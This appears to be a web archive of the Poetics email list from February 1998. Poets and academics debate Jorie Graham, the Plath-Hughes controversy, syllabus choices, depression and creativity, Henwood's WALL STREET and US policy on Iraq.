Anyway d powell seems to feel that 1. I'm interested in conducting what has recently been called "poetry wars" against Jorie Graham (taking her as symptomatic of some large sinister tendency I want to anathmatize); and 2. I'm suggesting her work as a teacher and administrator of writing programs is to be looked down on.

Neither's the case; so powell's long post ("enuff" about Graham indeed!) is not really rebutting things I said or intended...altho' I readily grant that some of them are felt by folk on the list. My point was more to praise Rasula than critique Graham. I'll repeat what I really said: I don't find her work very stimulating or interesting; and I don't think it is moving into the ambit of much of the contemporary work I like. (For instance, it would probably seem conservative

and formally unadventurous in The Art of Practice, or in Antenym or Rhizome or Texture..) There is a place for different types of poetry. Let a thousand poetix bloom. That's much the spirit of Rasula's work as a historian and analyst of poetry (as it is, in his more expansive moments, of C. Bernstein, who evinces a similar breadth and generosity of spirit (sometimes) toward poetic tendencies wildly at variance with his own). and I think in this Rasula and Charles are good models for us.

...Folks who haven't should definitely check out Wax Museum, and see what I was really talking about. And so, as DP says, "enough about Jorie Graham!!"

Mark

On Fri, 20 Feb 1998, d powell wrote:

> *Reply to: RE: enough about Graham*
>
> *Mark,*
>
> *By "mainstream" do you mean "like everybody else"? In that case, Graham has never been "mainstream." If by "mainstream" you mean "popular," then I think she's actually moving into the "mainstream," not because she is stylistically or formally easy, but perhaps precisely because she is not. However, if you mean "mainstream" as a shorthand for "Iowa Writers' Workshop," just as a generation used "Iowa Writers' Workshop" as shorthand for a particular type of poem, I would argue that, IF indeed the workshop is the mainstream, then Graham has done much to make that stream a more interesting place to splash around in. While I was in Iowa, Graham brought an aesthetically diverse group of instructors to the program--Brenda Hillman, Killarney Clary, Heather McHugh, Bob Perelman, Robert Hass, Tom Sleigh. Moreover, the work that workshop students were producing is some of the finest poetry being published today, from Jeff Clark's recent book from Sun and Moon, to Reginald Sheppard's wonderful "Some Are Drowning," to Jessica Lowenthal's soon to be released chapbook from Burning Deck.*
> *When I applied to Iowa, David Bromige cautioned me that the program might pressure me to conform to a (I suppose "mainstream") aesthetic. But then, I read Graham's "The End of Beauty" and I realized that she was balancing some oppositional poetics in remarkable ways. Lyn Hejinian (who will be teaching at Iowa this fall) said that Graham had been "oddly supportive" of her work. And Cydney Chadwick reminded me that Graham had chosen a Nate Mackey poem, first published in Avec, for inclusion in The Best American Poetry. And so, I did go to Iowa, and my aesthetic was not pressured, it was in fact supported and nurtured by Graham and by the odd assemblage of faculty that came through there during those two years.*
>
> *I think this list does a lot of "Jorie Bashing," holding Graham up as symbolic -- what? The Mainstream? I don't think so. Read her most recent book, The Errancy. Then go read something that's truly from the "mainstream" (which, nowadays by the by, case*

> *anyone hasn't noticed, either looks a hell of lot like Ashbery or a hell of a lot like Sharon Olds). With all due respect, Mark, hopefully, you will discern the difference.*
>
> ==========
> ==
> *D A Powell* [redacted]
> ==========
> ==

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909. **Mark Wallace**

Doug Henwood's WALL STREET

Mon 23 Feb 1998

Those of you needing a time out from the Plath-Hughes wars might want to consider reading what seems to me the BEST new book of social criticism I've read in several years, Doug Henwood's WALL STREET. It's by no means an easy read, but it will teach you more about how the U.S. is run than any ten books on identity politics.

Among the propositions that he seems, pretty incontrovertibly, to prove:

1) The stock markets do not effectively raise capital for business 2) The stock markets are not a natural balance for the economy but an artificial, bloated, corrupting force whose participants base their actions on speculation, foolishness, lies, unconscious contradiction, and selfishness of grandly deluded proportions 2) The stock markets exist so that certain lucky individuals can often STEAL money from business 3) Wall Street and the stock-owning class contribute nothing of significance to American life, while taking most of the money created by others 4) The main fiscal goal of the U.S. government is to take money from the poor and redistribute it to the rich 5) In short, that the elimination of Wall Street would benefit EVERYBODY in the world except the 1-2% of the American and world population who are made rich by Wall Street 6) That the existence of large corporations is NOT the problem; rather, that having the ownership of large corporations in the hands of a hostile and self-proclaimed elite is a social mistake and a business mistake 7) That the scientific discipline of economics is not scientific, barely a discipline, and knows nothing about economics 8) That the possibility of socially owned banks and corporations, that is, a system of MARKET SOCIALISM, could very easily improve the economy of the world.

But hey, don't take my word for it. READ THE BOOK.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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910. **Mark Prejsnar**

Re: Other stealth bombs?

Mon 23 Feb 1998

Gwyn,

yup, the relentlessly generalizing tendencies we're all capable of, can be frightening. Your post is wildly amusing and the parallels you suggest are quite apt.

More broadly (or more narrowly), I've made a vow to myself not to use the "L word" from now on, on the List, or in my critical and theoretical writings,...even insofar as possible in conversation!

And I don't mean "liberalism" (as a socialist I disagree with liberals about *most* things, but I have no trouble using that tangled and troubled word).

I made this vow sometime last week, when various posts to the list made it fairly clear that the L-word has become more a tool in the hands of folks who want to attack, than a helpful analytic generalization.

I figure it makes more sense to try to deal with Clark Coolidge or Susan Howe, or Silliman or Perelman or Armantrout or Hejinian or Hunt or....By name, and leave behind (or, aufgehabung, excuse my probably incorrect German spelling) the moment when they were somewhat simplistically grouped together under the L label....

Mark P.
@lanta

On Fri, 20 Feb 1998, Gwyn McVay wrote:

> *This week's Washington City Paper. Very strange. Announces impending double bill of Brenda Hillman and James Tate. Describes both as "language poets," lowercase, no =.*
>
> *Next: "Famed Dadaist Dana Gioia reads..."? "Discussion of the poems of working-class bard Robert Lowell..."?*
>
> *baffled on the beltway*

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911. daniel bouchard
Re: Iraq and depression
Mon 23 Feb 1998

Reading Rodrigo the Apostate got my blood moving on this mundane Monday morning, just as a coworker dropped by to ask about my weekend and also express relief at this morning's headline: "Annan, Hussein reach a pact on inspections". Yes, that's good but does it herald true peace for Iraq? Didn't a Russian writer once say that if an arsenal is introduced into the Gulf in act one the arsenal must be unleashed by act three?

Or somewhat closer to home, that poet nut I love to love, wrote in Canto 74, the general principle of the West: "never inside the country to raise the standard of living/ but always abroad to increase the profits of usurers,/ dixit Lenin/ and gun sales lead to more gun sales/ they do not clutter the market for gunnery/ there is no saturation."

Nuts quoting nuts. No one is interested in what poets dixit, nevermind Pound or Lenin. "My weekend was fine. Yes, I hope this business with Iraq is over soon. Gee, those Arabs sure are nuts." Straying from conventional wisdom in the workplace is dangerous.

But after she left I read the lines under the head line. What I read in papers and magazines, like you, is my only way of knowing what is "going on" in the Gulf.

From the paper: "Secretary of State Madeleine K. Albright warned that the United States would not accept a 'phony diplomatic solution.'"

Albright always strikes me as a disgusting little booger, a true contemporary statesperson, mouthing whatever shit is appropriate to finish the job. My first reaction to this statement was to focus on "phony": phony is what is not initiated by the United States. Or: a diplomatic solution proposed by the US after four days of bombing Iraq would be "a genuine, real diplomatic solution".

I read on: "The White House has said throughout the crisis that it preferred a diplomatic solution." It is expected of the White House to say this. Anything less would be uncivilized. Then, after it has been said, the population is bombed. (Panama, East Timor, Cambodia, Iraq, Grenada: either by US forces or forces trained and armed by US forces).

This made me question what exactly a diplomatic solution entailed. After all, I have read "throughout the crisis" that the US was gearing up for an attack. Is an attack or the threat of an attack part of diplomacy? Remember the rumor that Iraq was plotting to assassinate ex-prez Bush? Our response to this rumor was to diplomatically bomb Baghdad and kill civilians.

I read on: "an official at the weapons inspection team told The Boston Globe yesterday that Iraq's pattern of obstructing inspections meant that even a diplomatic deal does not ensure that inspectors will be able to do their job" Nothing like a traditional American 96 hour saturation bombing campaign ensures the ability to do a job!

"There is always the question of the devil being in the details," Pickering said. Saddam Hussein "has tried to play cat and mouse for a very long time. .. ." A key detail not stated in the article is that the mouse is Iraq.

This post (of mine) brings me again to thinking about the Philly Talks, the Derksen/Silliman exchange: what it means to me "to write poetry in the world today." Too often it means paralysis, as opposed to writing anything that I could make sense of, or live with . . .

Wish I could write more this morning . . .

daniel bouchard

<<<<<<>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
  fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

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912. Gary Sullivan
Most Appalling Post of the Week
Mon 23 Feb 1998

Hi Doug & Ron:

For what it's worth: The best teacher I had at SF State was Michael Rubin. Unlike the other teachers I had there (who all would agree with what you say below) he brought in books for us to read that he claimed he HATED. One of them was Kathy Acker's Great Expectations, the most important book (for me) I read in college. Rubin was my favorite teacher; I was incredibly sad to hear he died of AIDS a couple of years after I graduated. He was, again, unique, in that he brought things to us he didn't necessarily support, & admitted that fact to us "God, I HATE this book! What do you people think?" I not only admired that he held the job of teaching, of exposing us to a wide spectrum of new writing, to be

more important than his own tastes, I discovered many of my now-favorite writers in his class. If I had had more teachers like Rubin, I might have stayed in school.

Gary

On Friday, February 20, 1998 8:57 PM, [redacted]
[SMTP:[redacted]] wrote:
> Douglas,
>
> If, as you say,
>
> "I'm not a great fan of his [T Hughes'] writing but as a teacher I have had
> to
> include it in courses on post 1945 poetry...,"
>
> you are guilty of malpractice.
>
> Teach what you believe in, or don't bother. There's too much good poetry out
> there to ever be covered in one college career, let alone one course. To
> waste
> it on "official verse culture" is to simply contribute to the a-literacy and
> poetry-phobia that innundates us all.
>
> Ron Silliman

↑ Index

913. **Mark Prejsnar**
Re: poet-heroes, suicide and women's lot
Mon 23 Feb 1998

> *i know lots of cases in which women worked to put their husbands thru law school, medical school, business school, etc, only to be dumped when hubby finished, got a job, and met some sexier, funner chick in med school law school, etc or on the job.*
>
> *i'm with katie on this, but i've long since learned that POETIX isn't necessarily open to such discussions, so i just roll my eyes where youall can't see me.*
>
> *md*

Maria's point is an important one and in my opinion it's important to make the list a place that *is* open to such discussions.

I have also known instances like this, and while the exact gender reversal counterpart has without any question happened at some point or other, the scenario mostly has worked out (from what I can see) as she describes it. It clearly has to do with how men (and women) are socialized in sexist culture to understand their own needs, and how exactly they understand the commitment they've given to another person...

I also know of instances where some support comes to a woman poet from her male partner's income, Mark. But think about it for a minute: this is the classic situation still of a predominant number of households. Namely, the man is capable of making more in the job market than the woman. (But these days, the woman not working at all is likely to be characteristic *primarily* of middle-class and up households; in the drastic economic straits of the last 15 years a large number of working-class families have had no choice but to have everyone work who can, sometimes more than one job..) And the skew toward the man earning more of the family's income has everything to do with the fact that women's wages and salaries are **still** way depressed systematically and deliberately below men's...And gender discrimination in employment, and especially for well-earning jobs, is *still* overwhelmingly dominant. The "feminization of poverty" is still, believe me, a very real and significant statistical bias in the shape of the economy.

If a few woman poets have been supported by the income of well-employed husbands, that is more an artefact of what's still a savagely anti-woman culture and anti-woman economy, than it is a benign fact.

Mark P.
@lanta

On Fri, 20 Feb 1998, Maria Damon wrote:

> *whoa! mark weiss writes, among other thihngs*"
>
> *I've known several women writers whose husbands' work funded their literary careers and afforded them lots of time for writng. I don't know too many men who can say that.*
>
> *to which i reply:*

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914. **Douglas Barbour**

Re: Temporary canons

Mon 23 Feb 1998

Ron

Well, that's a great demonstration from an anthology I confess I have not read (mea culpa). And I take your point. But we can't know at all who will last really, although we might just as well present the writers we find most interesting to us. But that interest may include questions of reception, & there the hughes/ plath situation does have a reason to play in the class.

I usually teach Canadian poetry, & there I have a number of writers I like from a number of different 'traditions,' including our own George. But, despite the difficulties (of non-representation in the anthologies) I do get bpNichol in, or Daphne Marlatt, or...

I have only learned about some of the writers you mention since joining this list, & then begun tracking their work down. For that I'm more than a little grateful (but let's remember a half-year course, & the course description too).

Still, thanks for the list of names & pages: it does speak many more volumes than the one it was a contents page for...

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

915. Mark Wallace
libraries with Amiri Baraka materials?
Mon 23 Feb 1998

Could anybody with information about libraries with the completest collections of Amiri Baraka books and other materials please backchannel me with that information?

Thanks very much.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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916. David Kellogg
Re: Temporary canons/New Poetry redux
Mon 23 Feb 1998

Ron,

First, an editorial note. Your edition of the New Poetry is the second (at least!). My copy, purchased for like $5 at a huge used bookstore in Milwaukee, is the 1917 (first) edition. Its contents are slightly different. Also, I really don't see why the 1925 edition should be expected to contain any Kunitz, for example, since as I understand it his work went more or less unrecognized until his _Selected Poems_ won the Pulitzer out of nowhere in 1959. He had published one book by 1925, and I think it was even reviewed, but still . . . . Anyway, my basic feeling is that _The New Poetry_ is a pretty interesting anthology, and the 1925 edition was probably determined in part by the 1917 edition (which was determined largely by what was published in _Poetry_).

Now on to my main point: a lot of us who teach decide on a syllabus for a multiple reasons. Your posts on this issue seem to me less than your finest, since the reasons you can think of are very few: teach what you love; teach what you think will last (Jesus, when did _that_ come back?); teach "sociologically," by which you appear to mean teach as many poems and types of poetry as possible.

I believe my teaching to be sociological, but not in the sense described in your post. In my American lit 1915-1960 this semester, I am focusing on a few poets -- Stein, Williams, Eliot (through The Waste Land), and Riding -- although I'm

also using Cary Nelson's _Repression and Recovery_, various handouts etc.; and the poetry section is framed by the 1917 New Poets and the 1960 Allen. Now, my syllabus is determined by lots of things: the prose I'm teaching later, my choice to divide the class by genre, my sense of what Duke juniors and seniors know and what they don't, my awareness of the number of hours in the course overall, and the political and cultural points I hope to drive home as the semester develops. I have lots of goals: I want students to develop a particular sense of history, I want them to be able to apprehend poems in ways they haven't before, I want them to engage in a particular relation to other Duke English classes, I want them to like the poets I like, sure. My point is that teachers' relations to classrooms are overdetermined, and that you might not assume that you are able to judge from a distance -- even with an abundance of hypothetical information -- how other teachers might choose to get along.

But of course, you _know_ all this.

Cheers,
David
~~~
~~~

>have. Or Randall Jarrell. Marjorie Perloff has written on this phenomenon
>quite wisely.
>
>I don't blame Hughes for Plath's suicide -- nobody should ever lay that
trip
>on any of the survivors, frankly -- but his work's likelihood to survive
>(that word again) in history as anything other than a shear footnote really
>depends on her writing (some of which is tremendous) and the following that
>it has developed over the years. What is creepiest about Birthday Letters
is
>not that Hughes knows this and now publically acknowledges same, but the
way
>in which these poems (to paraphrase a very good review that appeared in the
>web mag Feed awhile back) compete with Plath, however badly.
>
>Two other remarks:
>
>Tom Beckett's comments to this list are among the most moving and impor-
tant
>I've read here in my four years online. I've lived around people with
>serious cases of depression (my grandmother, who raised me, and a roommate
>and very good friend Eliot Helfer who jumped from the Golden Gate Bridge 20
>years ago this month) and have seen just how difficult (that word!)
>everything in life becomes. Attempts to draw narrative lessons from such
>complex situations (as too many do with Plath) are as reductive and silly
as
>the little morals CBS has been attaching to the winners and losers of each
>Olympic event these past two weeks.
>
>Second, I can think of way too many examples of male writers -- including
at
>least three who are household names on this list -- who've been subsidized
>entirely by the work and financing of their spouses up to and including the
>typing of manuscripts after coming home from a long day of work. This is at
>least as much a situation for writing and poetry as it has been so many
>other fields of endeavor. While there are an increasing number of couples
>where, say, the husband takes over the childrearing and daily chores and
>the woman has a career, or where the woman has inherited (or other) wealth
>and it's not an issue of slave labor as such, there certainly are other
>examples that just make you cringe.
>

>Ron
>

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917. **Annie Finch**
Flicks at Ficke
Mon 23 Feb 1998

Looking through my own copy of Monroe and Henderson's "The New Poetry," I find that the tensionless free verse of such contributors as Lee Wilson Dodd or Maxwell Bodenheim strikes me as even more (out)dated than do Ficke's George-Santayanaesque sonnets. Workshop Mcpoems avant la lettre?

The point I gain from such perusals is that work without [guts/chi/charisma/talent/ spirit/funk/kundalini/soul/heart/energy] (and even, sadly, some work that does bear noticeable traces of g/c/c/t/s/f/k/s/h/e) is likely to end up appearing a lifeless corpse made up only of whatever conventions it needed to adopt--and since any art needs to use conventions, this will happen to work of all schools equally, no matter how far "advanced" they may appear at birth. No set of artistic practices can guarantee success, or failure, and just because some strategies--perhaps even including oppositionality, and perhaps even originality--worked to harness g/c/c/t/s/f/k/s/h/e for some poets in the early 20th century does not mean those methods have any better odds of working in the present than any other approach.

Annie

Ron wrote: My point here is that the idea that Hughes is, at best, a Fletcher, although I suspect he's really a Ficke or Gibson, "successful" conservative poets whose work was oddly anachronistic even 73 years ago (they were, so to speak, new formalists avant la lettre).

_____
_____
_____

Annie Finch
http://muohio.edu/~finchar
Assistant Professor of English/Creative Writing
Miami University
Oxford, Ohio 45220

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918. Mark Prejsnar
Re: Iraq and depression
Mon 23 Feb 1998

It's hard to parse out all the variables leading to the present war situation.

In the very dynamic movement against the last US aggression in the mideast (the "turkey shoot" one), we used the slogan No Blood for Oil. Now in the long run, I believe that US policy makers do indeed wish to dominate in that area in order to guarantee access to petroleum on acceptable political and economic terms.... But that's probably only one factor; as I think David's post implies, a major factor is the wish of the Pentagon to justify its existence, protect itself from further post-Cold War downsizing, and generally boost its P.R. in society at large and extend the grip of militarism on U.S. culture.

What it has nothing to do with, is the badness of the Bath'ist state. Saddam is a creature of US imperialism, strongly supported and armed in the most vocal and assertive way by the Reagan and Bush regimes...till he proved a not quite the puppet they assumed they had. Is he an appalling and evil ruler? Yes.. As appalling and evil as Reagan, as responsible for as many deaths thru criminal military action? No, of course not. And he certainly is not being opposed by the Pentagon because of any of his crimes!

The public involvement of poets against the U.S. war in Vietnam was a real instance of poets making a difference, and involving their work with the public sphere;....So this issue, and David's post, are I feel quite germane.

Mark P

On Sun, 22 Feb 1998, david bromige wrote:

> *I find it depressing that the posts I've read re-Iraq while suggesting modulations of the Administration's policy contain no apostates, only mild heretics. Why is the Admin being taken at its word? I find it interesting that, after Gulf War I, the sales of American arms were over the top. This congeries of intellectuals might consider that these "Wars" are most importantly demonstrations of how new weaponry works under actual conditions, thus leading to a bonanza sale.*
>
> *(Btw, is it a legal war or is it A Presidential Police Action, like the last few illegal massacres?)*
>
> *db3*

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919. **Judy Roitman**
Re: Poetry and Depression
Mon 23 Feb 1998

> *Sorry, I think probably you are not guilty of the attitude I find myself railing at - the attitude that art and depression are aberrant and deserve each other.*
> *tom bell*

Yes. The notion that what used to be called neurosis is a precondition for art is a particularly pernicious myth in our society, a way of marginalizing both art and human suffering.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

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920. **Jeff Hansen**
(no subject)
Mon 23 Feb 1998

On the depression and poetry bit:

Kay Jamison published a book about seven years ago called TOUCHED WITH FIRE about mani-depressive illness and artistic creation. She makes a good case, from my point of view, that poets in particular have extraordinarily high levels of manic-depression and depression among them. While I find the book lacking in some of its aesthetic insights, I do find the statistics she brings to bear quite convincing.

In the end, I don't find the relationship between creativity and mental illness surprising. Nor do I find it disconcerting. While there are many people with mental illness who are not in the least creative, it seems that many creative people would be at the edge of what is considered "sane." Creativity always puts the creator at risk, and some people may be more inclined to take these risks. Or they may be oblivious to them.

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921. **r.drake**
despe rate to see my name up in lites!
Mon 23 Feb 1998

---

sylvester (or other)--

yr post reminded me ov the chip&dale thing; i wonder if you'd do me a favor? could you please either photocopy any pages frm younger poets 7 that are attributed to me and send me a copy? alternatively, could you count the number of words of mine that were quoted (like you, w/out my permission)? the reason is, i'll be preparing a bill for th publishers at th rate of $10 per word (Note to other publishers --DON'T BE SCARED OFF!--: that's my standard fee for use of my work without permission; the rate drops to ONLY $1 per word if you'll just send me a copy afterwords; folks who secure permissions previous to publication generally are charged at the Poets Union rate of "contributors' copy"). i'm not too keen on sending money to these clowns just to see a copy of my own work.

sorry to reopen a can ov worms...

luigi
burning press

sylvester pollet wrote:

> *I don't know, David, but as I was reading the exchanges in Mike & Dale's Younger Poets 7 last night (one of them hers) I was reminded of her useful presence, & realized she must have gone walkabout. Reading that thing is a very odd experience indeed, and leaves me with feelings I haven't quite sorted out yet. I didn't realize that whole messages were printed, with headers, so e-mail addresses too. I'd rather have been left out, or had a poem in the issue, or something--a chance to choose, as Kali Tal explained it. Your posts contain quite personal stuff. I guess it's a useful reminder: Little Brother is Watching You! best, Sylvester*

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922. **David Golumbia**
Re: Doug Henwood's WALL STREET
Mon 23 Feb 1998

As someone who spends a fair amount of time near "Wall Street" and "on" Wall Street, I would like to echo Mark's comments. Doug Henwood shouldn't be the only person saying what he does. I don't always agree with his suggested solutions (for example, I think the financial markets might be "used" in various non-capitalist ownership schemes), but he is basically the only person in the public sphere (well, except for maybe J. Hightower & several highly influential poets & academics) who is even hinting at the right questions...

today's tips: short msft split, leaps on 5yr corp instead, long on oxhp & aet, sepr looks good, brazil for se asia. all of these are lies.

--
[redacted]
David Golumbia

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923. Mark Prejsnar
Re: Doug Henwood's WALL STREET
Mon 23 Feb 1998

I've been reading Henwood's book off and on for a couple of months. I would like to second Mark's recommendation. He is very right though: you have to be prepared to work at it a bit. But it is a great book. As subscribers for years to Henwood's newsletter Erika and I had been waiting impatiently for the book to be finished for some time...

His newletter is called Left Business Observer, and it is both unique and brilliant. I strongly recommend it for people who think (correctly) that understanding the economy is an important part of coping with our day-to-day lives and struggles...

Mark P.
@lanta

On Mon, 23 Feb 1998, Mark Wallace wrote:

> *Those of you needing a time out from the Plath-Hughes wars might want to consider reading what seems to me the BEST new book of social criticism I've read in several years, Doug Henwood's WALL STREET. It's by no means an easy read, but it will teach you more about how the U.S. is run than any ten books on identity politics.*
>
> *Among the propositions that he seems, pretty incontrovertibly, to prove:*
>
> *1) The stock markets do not effectively raise capital for business*
> *2) The stock markets are not a natural balance for the economy but an artificial, bloated, corrupting force whose participants base their actions on speculation, foolishness, lies, unconscious contradiction, and selfishness of grandly deluded proportions*
> *2) The stock markets exist so that certain lucky individuals can often STEAL money from business*
> *3) Wall Street and the stock-owning class contribute nothing of significance to American life, while taking most of the money created by others*
> *4) The main fiscal goal of the U.S. government is to take money*

> *from the poor and redistribute it to the rich*
> *5) In short, that the elimination of Wall Street would benefit EVERYBODY in the world except the 1-2% of the American and world population who are made rich by Wall Street*
> *6) That the existence of large corporations is NOT the problem; rather, that having the ownership of large corporations in the hands of a hostile and self-proclaimed elite is a social mistake and a business mistake*
> *7) That the scientific discipline of economics is not scientific, barely a discipline, and knows nothing about economics*
> *8) That the possibility of socially owned banks and corporations, that is, a system of MARKET SOCIALISM, could very easily improve the economy of the world.*
>
> *But hey, don't take my word for it. READ THE BOOK.*
>
> *Mark Wallace*
>
> /----------\
> | |
> | [redacted] |
> | *GWU:* |
> | *http://gwis2.circ.gwu.edu/~mdw* |
> | *EPC:* |
> | *http://writing.upenn.edu/epc/authors/wallace* |
> |_____|

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924. **Judy Roitman**
Re: Iraq and depression
Mon 23 Feb 1998

Jon Carroll, a columnist for the SF Chronicle, has had two remarkable columns on Iraq recently.

The first can be found at
http://www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/1998/02/06/DD6
5371.DTL.

The second is at
http://www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/1998/02/18/DD7
7976.DTL.

Should you get a taste for reading him every day, his homepage can be found at http://www.sfgate.com/columnists/carroll/.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
---
http://www.math.ukans.edu/~roitman/

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925. **Gary Sullivan**
"The world is blood-hot and personal"
Mon 23 Feb 1998

Hi, Katy:

Thanks for taking the time to respond to my earlier question.

I wasn't trying to deny an obvious history of oppression nor of gendered readings. I'm open to discussions of both on this list (and elsewhere), and hope that my asking you for more information, specific to the issue at hand, wasn't seen as not being open. I was genuinely curious. Anyway, I'll have to defer to what you say about readings of Plath's suicide being gendered (though I really would appreciate specific references, here--I mean, they do help in understanding, in seeing what you're addressing). Again, what I get on that level is usually from other poets, in conversation, and none of those readings had taken Plath's being a mother into the equation. People in conversation (with me) have been much more critical of my friend Daniel Davidson's suicide than of Plath's--though, of course, this probably has to do with the fact that these people actually knew Dan, and were very hurt by what he did.

Thanks again, Katy.

Yours,

Gary

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926. **Mark Leahy**
scalapino, art and poetry
Mon 23 Feb 1998

Hi Danny

I too found my way to 'experimental', ' Language', ' however you want to label it' writing through the study of visual arts; in particular Minimalism and Conceptualism;(this study also opened up minimalism in music to me); I also found that the Italian arte povera movement in some of the procedures and disjunctive practices they engaged in have helped me in my reading of poetry; -- the presentation of process and procedures, the use of sign systems; in coming to poetry, it is as though different readers learn to read the work in different ways, acquire different reading tools from other disciplines and as long as they are prepared to use them in ways not always specified in the first situation it can facilitate new reading; I think that studying artworks has allowed me to look for things other than meanings, to approach work not only interpretatively; I also became aware of the paratextual elements and their contribution to the work; good luck with reading Scalapino -- her permutations and reptitions will I think give pleasure

Mark Leahy

Mark Leahy
School of English
University of Leeds
LS2 9JT
United Kingdom
tel: 0044 (0)113 2334739
fax: 0044 (0)113 2334774

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927. **Joe Amato/Kass Fleisher**
Re: Temporary canons/New Poetry redux
Mon 23 Feb 1998

---

whoa, yeah, to pick up on david k's and don b's posts: _teaching as a subversive activity_, yeah, i think that was by---two guys, i think one was mark poster, am i right????... i recall it as a somewhat evangelical attempt to add mcluhan's insights to the humanities curriculum?... have i got the right book?...

i'll report back here later on same...

but this opens to the question of teaching, which david k addresses directly: and i wanted simply to add to what he sez that the issues he raises gets more complex in the face of different approaches to the classroom context in general...

[please STOP reading NOW if you're academically undisposed]

for one, there's the matter of how you teach students to *write* poetry... which i don't believe is entirely divorced, or should be, from how you teach them to

study it... there is something of a problem in having students---even more self-directed, grad or undergrad students working in collaborative groups (my tentative nod *here* toward a non-lecture based class)---compose historically-grounded essays on poetry (e.g.) w/o having thought through the poetic as it operates in said "essays"...

this is a HUGH ISSUE, esp. for me!... i am advocating, implicitly and explicitly, a more open approach to the matter of form than currently prevails in the (graduate and undergraduate) poetry *study* classroom... and in the creative writing classroom as well... i would like to see, in fact, more creative writers study theory, and more theorists study poetry and poetics... and have both study something else too...

and in fact to stitch this together with the post from annie finch (LARGE stitches): i think this will help answer to the (imnsho) artificial distinction, finally, twixt poetry and scholarship, and will help provide a more bracing understanding of form in both... b/c in fact it's in isolating one kind of writing from another that we end up with all sorts of unnecessary mystifications re the writing process...

and if said process IS necessarily mystified, btw (we be all writing zombies or some such), then it is mystified in all contexts, and all forms... which is not to disallow what folks THINK they're doing...

at the same time: this is not to deny, either, that we will or should continue to utilize the conceptual and cultural categories of "poetry" and "scholarship," to good and bad and in-between ends... but it seems to me we would all do well to enter more fully into the specifically poetic status of our discourses, and the claims we thereby (therethrough?) make... we've (academics now) managed to do this wrt "theory," "rhetoric," and so forth... but the metrical (i am being funny) realities of scholarship seem nigh transparent to most who study same... at leasrt or esp. in terms of their presumed necessity to "critical" thinking (as opposed, in general, to "creative")...

to call out the advocacy i'm suggesting more directly, as a teacher of something called "technical writing" for 8 years now (and, he sez, as a former practicing engineer of 7 years): of what use is a standard research paper to a budding engineer?---i mean, wouldn't said engineer be as well off trying to compose a ditty for a change, however 'miserably' wrought?... one that attempts to get at, say, the emotional and ethical intensities and dispersions of technology?... or does anyone really think that writing up lab reports, over and over (and over), will make for a more 'fully-grounded' individual? (and a "better world"?)... or that endless rounds of undergrad essays that spew out the "original insights" of others, in mla format, is all that good a thing, ultimately?...

i am being harsh, intentionally so...

nothing against lab reports, mind you, or essays---but i'm questioning the ways we, as teachers, pigeonhole discursive dispersions, and act tacitly and not-so-tacitly to convince others that such dispersions are not only natural, but necessary... part of bottom-line thinking these days too (to pick up yet another thread---mark wallace's helpful nod toward wall street, the book, the movie, and the reality), but way beyond what i'll venture here... hey, i've gotta go teach!...

best,

joe

↑ Index

928. **Tom Beckett**
Re: back issue of The Difficulties
Mon 23 Feb 1998

---

seven dollars apiece and moving fast.
1st come, 1st served.
Make check to Tom Beckett
131 N. Pearl Street
Kent, OH 44240

Thanks

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929. **David Zauhar**
Stein in popculture, again
Mon 23 Feb 1998

Last night on the X-files, just as I was leaving to catch my train to take my sorry ass back to chicago, agents mulder and scully were engaged in a dialog about getting their stories straight or possibly facing prison sentences, etc, and Mulder says to Scully something like, "because if we don't get it straight we're going to prison and your cellmate is going to be called Large Marge and she's going to read a lot of Gertrude Stein..." Stein also appeared in political news in Chicago about 3 weeks ago when Jesse Jackson was quoted as saying, re: the Clinton Sex Scandal that "there is no there there." (at least Jackson extended the typical use of that quotation to account for something besides Oakland).

David Zauhar
University of Illinois at Chicago

"My religion makes no sense
and does not help me
therefore I pursue it."

--Anne Carson

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930. **Mark Weiss**
Re: poet-heroes, suicide and women's lot
Mon 23 Feb 1998

Right you are. As I said in the sentence following the one that's raised the flurry, "Which is not to say that I don't realize that women's and men's lots are different and that most women have different and perhaps more obstacles to face." I exppect I'll get in trouble for the "perhaps," but the point of the post, such as it was, is that over-generalizing serves no one's purposes.

At 10:09 AM 2/23/98 -0500, you wrote:
>> i know lots of cases in which women worked to put their husbands thru law
>> school, medical school, business school, etc, only to be dumped when hubby
>> finished, got a job, and met some sexier, funner chick in med school law
>> school, etc or on the job.
>>
>> i'm with katie on this, but i've long since learned that POETIX isn't
>> necessarily open to such discussions, so i just roll my eyes where youall
>> can't see me.
>>
>> md
>>
>
>Maria's point is an important one and in my opinion it's important to make
>the list a place that *is* open to such discussions.
>
>I have also known instances like this, and while the exact gender reversal
>counterpart has without any question happened at some point or other, the
>scenario mostly has worked out (from what I can see) as she describes it.
>It clearly has to do with how men (and women) are socialized in sexist
>culture to understand their own needs, and how exactly they understand the
>commitment they've given to another person...
>
>I also know of instances where some support comes to a woman poet from her
>male partner's income, Mark. But think about it for a minute: this is the
>classic situation still of a predominant number of households. Namely, the

>man is capable of making more in the job market than the woman. (But these
>days, the woman not working at all is likely to be characteristic
>*primarily* of middle-class and up households; in the drastic economic
>straits of the last 15 years a large number of working-class families have
>had no choice but to have everyone work who can, sometimes more than one
>job..) And the skew toward the man earning more of the family's income has
>everything to do with the fact that women's wages and salaries are
>**still** way depressed systematically and deliberately below men's...And
>gender discrimination in employment, and especially for well-earning jobs,
>is *still* overwhelmingly dominant. The "feminization of poverty" is
